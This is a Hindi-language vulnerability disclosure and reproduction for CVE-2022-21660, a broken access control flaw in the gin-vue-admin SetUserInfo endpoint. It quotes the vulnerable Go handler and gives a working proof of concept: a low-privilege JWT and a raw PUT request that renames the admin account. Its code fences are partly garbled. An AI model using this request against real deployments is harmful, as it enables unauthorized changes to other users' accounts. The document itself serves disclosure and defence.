
CVE-2022-21660
सभी दिग्गजों का स्वागत है, इस प्रोजेक्ट को एक स्टार दें```http https://github.com/flipped-aurora/gin-vue-admin/

लेख लिखने के बाद, CVE के लिए आवेदन करने में कुछ परेशानी हुई, लेकिन अच्छी बात यह रही कि अंततः आवेदन सफल रहा, github के कर्मचारियों ने तुरंत प्रतिक्रिया दी
> ps: CVE के लिए आवेदन करने से पहले, हमने CNVD पहले ही जमा कर दिया था

### 2. पर्यावरण सेटअप
आधिकारिक ट्यूटोरियल के अनुसार```bash
git clone https://github.com/flipped-aurora/gin-vue-admin.git
फिर server डायरेक्टरी में जाएँ```bash go generate
```bash
go build -o server main.go
फिर सीधे server चलाएं

इसके बाद WEB है, web निर्देशिका में प्रवेश करें, इनपुट करें```bash cnpm install || npm install
फिर बस प्रतीक्षा करें

इंस्टॉलेशन पूरा होने के बाद अपने आप WEB पेज खुल जाएगा


फिर डेटाबेस की जानकारी को इनिशियलाइज़ करें

कॉन्फ़िगर करने के बाद इनिशियलाइज़ पर क्लिक करें, फिर लॉगिन करें

### 3. दोष पुनरुत्पादन
### SetUserInfo में ऊर्ध्वाधर अनधिकृत पहुँच मौजूद है
##### 1. SetUserInfo इंटरफ़ेस के माध्यम से उपयोगकर्ता की व्यक्तिगत जानकारी अनधिकृत रूप से सेट करना
हम सीधे उपयोगकर्ता प्रबंधन पृष्ठ पर जाते हैं और एक नई निम्न-विशेषाधिकार वाली उपयोगकर्ता भूमिका जोड़ते हैं।

ऊपर देखा जा सकता है कि व्यवस्थापक का विशेषाधिकार नहीं दिया गया है। इसके बाद एक नया खाता बनाकर इस भूमिका समूह को सौंपें।


दोष उत्पन्न होने का स्थान https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go की पंक्ति 273 पर है।
```go
// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
var user system.SysUser
_ = c.ShouldBindJSON(&user)
if err := utils.Verify(user, utils.IdVerify); err != nil {
response.FailWithMessage(err.Error(), c)
return
}
if err, ReqUser := userService.SetUserInfo(user); err != nil {
global.GVA_LOG.Error("设置失败!", zap.Error(err))
response.FailWithMessage("设置失败", c)
} else {
response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
}
}
यहाँ पास किए गए ID का कोई सत्यापन नहीं है; ID उपयोगकर्ता का प्रतिनिधित्व करता है, बस निर्दिष्ट ID सीधे पास करने पर संबंधित उपयोगकर्ता की व्यक्तिगत जानकारी संशोधित की जा सकती है।

पहले हम एडमिन के X-token का उपयोग करके ID 1 वाले उपयोगकर्ता का नाम बदलकर test1 करने का परीक्षण करते हैं, फिर हम बैकएंड में देख सकते हैं कि एडमिन का ID पहले ही test1 में बदल दिया गया है।

अब, हम अभी बनाए गए UzJu_HxSecTeam खाते के Token को बदलकर डालते हैं, और एडमिन का उपयोगकर्ता नाम test2 में बदल देते हैं।
पहले हम UzJu_HxSecTeam के खाते की व्यक्तिगत जानकारी > पासवर्ड बदलें पर जाकर कोई भी पासवर्ड बदलते हैं, फिर खाते का Token प्राप्त करते हैं।

यह Token उस कम-विशेषाधिकार वाली भूमिका का है; सामान्य रूप से कम-विशेषाधिकार वाला उपयोगकर्ता एडमिन की किसी भी जानकारी को संशोधित नहीं कर सकता है।```http x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
हम Token को प्रतिस्थापित करके निम्नलिखित JSON डेटा बनाएंगे।```json
{
"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""
}

हम Token को setUserinfo इंटरफ़ेस में बदल देंगे```http PUT /api/user/setUserInfo HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: / Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs x-user-id: 1 Content-Length: 67 Origin: http://localhost:8080 Connection: close Referer: http://localhost:8080/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
{"id":1, "username":"test2", "nickName":"test2", "headerImg":""}
फिर हमें संकेत मिलता है कि सेटिंग सफल रही

यह हमारे द्वारा एडमिन खाते में स्विच करके यह देखना है कि क्या इसे test2 में बदल दिया गया है
